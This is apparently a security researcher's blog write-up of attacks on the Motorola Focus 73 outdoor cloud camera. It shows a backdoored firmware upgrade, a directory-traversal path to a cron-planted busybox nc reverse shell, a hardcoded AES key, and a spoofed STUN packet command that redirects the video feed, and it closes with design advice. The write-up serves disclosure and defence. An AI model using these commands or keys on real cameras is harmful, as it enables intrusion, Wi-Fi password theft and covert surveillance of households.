For our most recent IoT adventure, we’ve examined an outdoor cloud security camera which like many devices of its generation a) has an associated mobile app b) is quick to setup and c) presents new security threats to your network.
The Motorola Focus 73 outdoor security camera is packed with features and quite a few surprises – it’s not made by Motorola for starters. It’s the outdoor variant of a family of Blink and Motorola IP cameras manufactured by Binatone which includes baby monitors. All these products boast cloud connectivity via the Hubble service (built upon an Amazon EC2 instance) which allows owners to watch and control their camera remotely as well as receive movement alerts, providing their monthly plan permits it, through a mobile app.
This blog describes in detail how we were able to exploit the camera without access to the local network, steal secrets including the home network’s Wi-Fi password, obtain full control of the PTZ (Pan-Tilt-Zoom) controls and redirect the video feed and movement alerts to our own server; effectively watching the watchers.
Whenever we get new kit, we’re always keen to understand what powers it. A teardown of the device revealed a Nuvoton ARM9 SoC (N329x), with a N79E814AT20 CPU. GPIO terminals are offered adjacent to the CPU (Pin mask is 15) and there is a prominent (and hugely significant) micro switch behind the glass dome which allows the app to find the camera during setup.
The PCB links to the motorised gimbal which can rotate left and right, but has a (soft) stop at 90 degrees either side. This gives a total azimuth of 180 degrees which can be controlled via API commands.
Network connectivity is provided through either 802.11 or wired Ethernet with the latter taking precedence.
An LED above the lens gives a clue to system status and can be controlled via a bespoke command. The LED is always on whilst the camera is working/observing and pulses on and off when streaming video to a remote server or processing a movement alert.
The corresponding Hubble mobile app is available for free from the usual app stores; for this research we used the Android app from the Google Play store. The app is the portal to your cameras, all of which are associated with a Hubble account. The app is also the only ‘official’ method of provisioning a camera and supports many more models of IP cameras beyond the Focus 73 through the use of a standard API.
During setup the app instructs the user to either plug in an Ethernet cable or press the ‘pair’ button on the camera which causes the camera to switch to host mode and offer up an open (aka insecure) wireless network. The app then scans for this network which is typically called CameraHD-(MAC address) and prompts the user to connect to it. This is an alarming feature for a camera designed for outdoor use particularly as the camera also offers a host of unfiltered network services, including the network video feed (RTSP), a bespoke internal messaging service for initiating alerts and two distinct web servers (nuvoton and busybox), one of which has an undocumented firmware upgrade page. Readers of our other blogs will know how much we like upgrading firmware…
When the app associates with this open access point it issues requests to the nuvoton web server to perform a wireless scan of visible networks using the Linux iwlist command, the results of which are returned to the app as XML so you can pick your network from a list. Once selected, you must enter your private Wi-Fi security key which is then broadcasted unencrypted over the open network accompanied with some basic HTTP Authentication in the form of username ‘camera’ and password ‘000000’. The query string is a curious concatenation of the lengths of the SSID, PSK, username and password followed by the fields themselves – worthy of a point for originality.
This HTTP Authentication appears to be legacy and is not used; a situation which we found to be fairly common on this device, for example there are many legacy webpages on the camera (some which were written for the MBP2000W), like /routersetup.html. A cursory examination of these provide insight into a previous incarnation of this hardware as a baby monitor (pre-Hubble).
Once configured the app communicates indirectly with the camera via the Hubble cloud service. It does this through a combination of a TLS protected REST API for commands and alerts and a connection to a streaming video server for real-time video. The real-time video aspect is slightly more complicated. The mobile app signals to the Hubble server that it wishes to initiate a streaming video session. In order to send this command on to the camera the Hubble server needs a way of locating it on the Internet and the ability to create an inbound connection through the firewall of whatever network the camera is linked to.
The traditional way of enabling inbound connections through a NAT router is via the STUN (Session Traversal Utilities for NAT) protocol. The camera sends regular heartbeat messages to the Hubble server, informing it of the camera’s external (WAN) IP address and the UDP port that it is listening for messages on. This also creates a temporary (120s) hole in the firewall permitting the Hubble server to connect to the camera.
Communication between Hubble and the camera is within the STUN protocol itself which is an interesting way to use STUN since it is meant to be used in support of other network protocols, much the same way DNS enables a HTTP session. The camera maintains an open UDP port on the NAT router via regular STUN heartbeat messages through which it receives ad-hoc commands from Hubble.
A typical command would be ‘start streaming video’ which would be sent as an AES encrypted message to the STUN client which decrypts it using a local key then forwards it on to its own web server using the cURL utility.
The web server then runs a local script which, in the case of streaming video, generates a random URL built around the hardcoded IP address of the remote video server. This URL is returned to the cURL client who in turn returns it via an encrypted STUN message to Hubble and ultimately the app. Once the public URL is received by the app it connects directly to the video server and receives a UDP stream of video data. This obscure public URL can also be accessed directly by other clients.
The firmware wasn’t advertised publicly but like many IoT devices, there was a behind-the-scenes system for updating the firmware which was available via private URLs. Finding these URLs didn’t take long with the help of the app which contained partial URLs in its strings. A quick bit of guesswork to fill in the blanks in the URLs (model and firmware version) and we were looking at a compressed Linux file system called ‘skyeye’, written by Hong Kong camera firm Cvision. We were also able to obtain historical and, more significantly, development firmware via the same method.
The Cvision firmware blob contained /bin, /etc, /lib folders but was not a full Linux OS, rather it was a folder which sat on mountpoint /mnt/skyeye. Some core binaries like busybox were not included because they belonged to the parent Nuvoton OS, which did not have an update mechanism so contained lots of old binaries, some 10 years old.
There were references in scripts and configuration files to other models of indoor IP cameras in the firmware, including switch statements for the family of Focus cameras. This suggested the firmware was generic, presumably to reduce development and support costs, and it would be configured at setup for the particular model, defined in a text file.
The webserver housed at /mnt/skyeye/mlswwwn/ used haserl CGI scripts which pass HTTP form parameters directly into the shell environment (as root in this case) to perform functions such as fetching logs or upgrading firmware. In this instance it was exploitable by scripts which later called those saved environment variables.
Malicious Firmware Upgrade
As mentioned previously there are two web servers served from the same folder on the device (/mnt/skyeye/mlswwwn/) on port 80 and 8080 respectively. The second server is a busybox httpd which like any normal httpd restricts access to special files like executables or scripts in /cgi-bin/ for example. Unfortunately the Nuvoton (possibly MJPG based) web server on port 80 has no such restriction, so any file we couldn’t see on port 8080 we could read in full on 80, including ELF binaries which provided a valuable insight into the architecture (ARM32 LE) and executable environment.
One of these files was a very interesting haserl script, called haserlupgrade.cgi, and was identified as the start of the firmware update process. As the firmware is not encrypted or signed we were able to modify it to include an edited haserl script which contained a discrete one line backdoor: <% $FORM_run %>.
The modified firmware can then be uploaded via http://(IP):8080/fwupgrade.html allowing us to execute arbitrary commands as root with the browser like so:
Directory traversal and command injection
We identified a potential vulnerability in the haserlupgrade CGI script (see above) in the form of good old directory traversal. The script (running as root) takes a compressed firmware image and moves it to a designated location outside the webroot. Fatally, it does not validate the filename provided in the form so “new_firmware.tgz” and “../../../mnt/skyeye/etc/cron/root” are both OK. By creating an equivalent script in a test environment we verified the directory traversal worked because haserl doesn’t validate any input, but despite repeated attempts we couldn’t get a file to stick, it kept getting removed regardless of where we put it on the file system (which was anywhere because it was privileged). At this stage we had the capability to brick the device by overwriting a key file (eg. /bin/busybox) which considering it’s a security camera could be advantageous…
It makes sense that a firmware upgrade process deletes the firmware file on completion. Not to be deterred we examined the remainder of the script and discovered an interrupt call to a ‘fwupgrade’ binary (line 16) which we loaded into IDA. This binary makes use of the firmware file name that was saved into /mnt/cache/new_fwupgrade (line 8). When fwupgrade receives the SIGUSR1 interrupt it reads 128 bytes from the new_fwupgrade file and uses this for the firmware filename. It then calls a shell script to perform the firmware update on this filename which cleans up the firmware file on completion.
As the firmware filename is output to a file which fwupgrade then reads 128 bytes from, this allows for a firmware with a very longfilename to break the process and for the uploaded file to not get deleted as it only has a partial filename.
Our chosen filename traversed back to the file root, then forward then back until it was greater than 128 bytes. Finally it places our chosen file in the ‘cron’ folder where jobs are read and executed every minute. The repetitive folder names could be replaced by random characters or a short poem, so long as they exceed 128 bytes.
The job? a reverse shell every minute for life using busybox:
/bin/busybox nc 10.45.3.100 1664 -e /bin/sh
The cron cycle takes 60 seconds so whilst we were waiting for our call back we were amused to find we were shown a progress page which revealed our chosen filename and filesize in bytes – neither of which were considered to be suspicious. We could have used any port number as the device has no firewall.
Having obtained root access to the camera, cracking the root password in /etc/shadow using John the ripper was trivial and pointless but for information it was ‘123456’. Lower privilege user accounts like ftp were noted but none were in use.
Digging around some more we found some treasure in the form of the router’s (yes the home network) Wi-Fi password in plaintext at /tmp/wpa.conf. We also found factory wireless credentials for secure Cvision test networks which are applied after a factory reset (power on holding pair button) so you could get the camera to associate with your own ‘Cvision’ network in an evil twin attack – not that you need to thanks to the pair functionality.
The device also appears to run some interesting GPLv2 sourced software which is backed up by the statement on Nuvoton’s website for the SoC: “the open source code environment also give the product development more flexible.” (sic). The service running on port 80 behaves just like MJPG streamer but has additional functionality for remote control. The STUN client used appears to be PJNATH judging by the strings and symbols observed but again this appears to have been extended with new functionality to perform C&C within the STUN messages.
Running ‘ps’ on the camera reveals lots of threads for the ‘msloader’ binary which handles the camera’s core functionality, alerting and command and control. This complex binary presumably leaks memory judging by the cron jobs we found which reboot the binary on a precise schedule in the early hours of the morning. We won’t publish the hours it reboots as no skill is required to exploit that feature but hopefully criminals will be sleeping then anyway…
The device’s logs contained an alarming amount of detail including the AES encryption key for the remote control STUN messages and FTP credentials for video clip storage. Error messages confirmed our suspicions that the open source PJNATH library was being used so we looked up the source code to see how these STUN messages were being secured.
Interestingly the log files are available to download from the web interface but are first encrypted using a custom binary (/bin/crypto). This binary uses the Linux crypto API with a hardcoded AES key: Cvision123459876. This means a stranger could dump your logs and remote command keys via the CGI script at :8080/cgi-bin/logdownload.cgi
Remote STUN attack
The camera uses the STUN protocol to maintain communications with the Hubble server. Within the STUN packet there is a section of mystery data which analysis revealed contains a 16 byte IV and a blob of AES encrypted data. As we already had the AES key which was stored on the device and the IV from the packet we were easily able to decrypt this command data.
The data in the STUN message is used to get encrypted commands from ‘the cloud’ to the camera eg. ‘start recording’, ‘change video server’, ‘move left’, ‘reboot’. With the ability to decrypt the messages, the various camera controls were mapped and could be recreated by re-encrypting modified packets with the original AES key. On the camera-side the decrypted data is essentially just a web command that is parsed by the STUN library which in turn uses CURL to pass the command on to the HTTP server to action. After the earlier WPA PSK faux pas, this is the second example of a secret message being communicated on an open channel.
Whilst looking into this mechanism we noted that it is also possible to replay old STUN messages as there is no timeout on the encrypted command. At this point the AES key is clearly the primary security mechanism stopping a full remote attack so it was essential to determine where and how this is created. A binary on the device called camregister was identified which contains the routine for obtaining the AES key for the device. This is handled on the initial camera setup over an SSL connection to the Hubble server. It sends an HTTP POST request with the MAC address, firmware version, UDID and a few other details. It then receives the AES key from Hubble which is saved to the device; the key is then checked via a GET API request before finishing the registration. As the AES key generation is undertaken on the Hubble server it was not possible to (legally) establish how the key generation takes place although we believe it is random as it changes when you repeat the process. The GET API key check also presents a potential vector for a malicious attacker to test for valid keys.
Having hit a roadblock with the AES key generation we backtracked to the STUN messages to take a second look. To keep the STUN session active a UDP port on the WAN interface of the NAT router is kept open with STUN heartbeat messages. Further analysis of the STUN library identified that there were no checks on the decrypted data which was blindly forwarded on to the internal webserver using CURL. With more time we would have liked to have investigated the possibility of remote access due to the lack of input validation of the decrypted STUN messages.
Blind remote attack with IP spoofing
If an attacker has acquired the AES key (locally via logdownload.cgi or via the Hubble GET API key call) it would be possible for them to take control of the camera. To demonstrate this we wrote a short Python script to generate valid encrypted commands which we then used in conjunction with hping3 to spoof the Hubble STUN server from outside the NAT router. As most ISPs don’t permit IP spoofing onto the internet we tested this from the WAN Ethernet port on a popular NAT router with the camera setup as a wireless client on the masqueraded internal IP range (192.168.0.0/24). All responses to STUN commands go back to Hubble so if you can’t get close enough to intercept them you must do a blind attack issuing a command blindly which will elicit a response. We found one such command in the start full motion video feed command which coincidentally is probably an attackers goal.
The API commands “set_wowza_server&value=(ip)” and “start_rtmp&value=1” will allow you to redirect the RTMP video stream to your own server. We used the open source video server Red5. A successful blind attack will result in a TCP video stream to your server on port 1935 (Macromedia).
python stunning.py “set_wowza_server&value=10.45.3.100” > stunpacket hping3 10.45.3.62 –udp -V -p 50610 –spoof stun.hubble.in -s 3478 –file stunpacket –data $(stat -c%s stunpacket) -c 1
During development of our script we discovered the receiving STUN client is not fussy and it accepted technically invalid packets or packets with Unix special characters or non-command URLs so you can encrypt and send any HTTP GET request and it will get forwarded on to localhost with CURL.
Hijacking IP cameras behind NAT with CSRF
If someone were to view a webpage containing this snippet of script it could compromise and subvert every vulnerable camera on their network automatically. Surveillance indeed.
Watching the watchers
Once we had established control of the camera we overwrote the DNS configuration file defined at /etc/resolv.conf so lookups for the cloud image storage, upload1.hubble.in, would resolve to our web server allowing us to receive an Orwellian feed of movement alert JPEGs but also FLV video clips normally only available to paying customers of the Hubble service. The media is sent unencrypted using HTTP POST to either /v1/uploads/snap.json or /v1/uploads/clip.json so we knocked up a PHP script to handle the uploads and store them to peruse at our leisure…
When designing a smart device, we recommend applying established security principles like input validation, bounds checking, access control and authentication. Encrypting communications is good but if the keys are readily available then all it does is delay rather than stop an attacker. Keys should be guarded as closely as possible and not available in logs or be be able to be set by an untrusted party. If Encryption on an interface is used then the secret information contained within should not then be decrypted and passed on via an unencrypted interface as this defeats the purpose. It should be used as quickly and discretely as possible then cleared from memory.
Basic principles like defence in depth and least privilege should be applied so when someone gains access to the device via unpatched network binaries on the underlying SoC firmware for example, they will not be able to do as much as if they had root privileges.
Firmware should be signed and encrypted as a minimum to stop bad firmware uploads or tampering. Failure to do this not only carries security risks but also business risks as many smart devices rely on their firmware to lock their customers into a monthly pricing model, like this camera. Open source firmware (eg. jailbreaking) threatens this cloud based business model as users could take full advantage of their device’s hidden FTP, Email and Dropbox features.